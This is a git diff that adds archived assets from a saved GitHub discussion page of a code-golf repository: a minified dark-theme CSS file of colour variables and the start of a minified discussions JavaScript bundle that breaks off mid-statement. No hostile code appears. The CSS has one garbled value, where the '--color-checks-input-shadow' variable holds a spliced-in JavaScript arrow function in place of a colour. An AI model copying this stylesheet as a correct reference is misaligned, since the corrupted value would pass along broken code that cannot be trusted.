rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const 